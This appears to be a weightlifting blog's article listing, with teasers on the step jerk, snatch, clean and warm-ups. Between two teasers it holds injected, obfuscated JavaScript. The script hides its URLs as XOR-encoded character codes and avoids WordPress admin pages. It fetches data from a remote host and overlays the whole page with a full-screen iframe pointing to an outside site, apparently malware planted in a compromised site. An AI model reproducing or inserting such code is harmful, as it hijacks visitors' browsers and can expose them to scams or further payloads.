Author: Marissa

The Step Jerk

In this article, we will discuss the step jerk and its relevance to your performance in the Olympic clean and jerk. If you want to improve your clean and jerk, you may want to include this exercise in your training program.

Olympic Weightlifting Snatch

The Olympic weightlifting snatch is one of the two Olympic weightlifting movements performed in competition. This highly technical exercise can also you gain strength, power and speed that can translate to any other sport. In this article, we discuss the Olympic weightlifting snatch, rules and world records.

Olympic Weightlifting Clean

In today’s post, we will discuss the Olympic weightlifting clean, which is the first part of the clean and jerk movement you see in Olympic weightlifting competitions. The clean is a multi joint movement that combines a deadlift, a high pull, a catch and a front squat and requires technical skill, speed and strength.

Warm up for Olympic Weightlifting

Olympic Weightlifting is an intense sport. If you want to achieve better results in your weightlifting work outs, you need to make sure you warm up properly! In this guide, we discuss how to warm up for Olympic weightlifting.

Olympic Weightlifting Masters

; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof e.data&&”ktl-show-original”===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();

console.log(’28du3′);

Olympic Weightlifting

Are you ready to take your athletic performance to the next level? If you aspire to achieve Olympic-level strength and become a master of weightlifting, then this article is your ultimate guide. Continue reading Achieve Olympic Strength: Master the Art of Weightlifting for Optimal Performance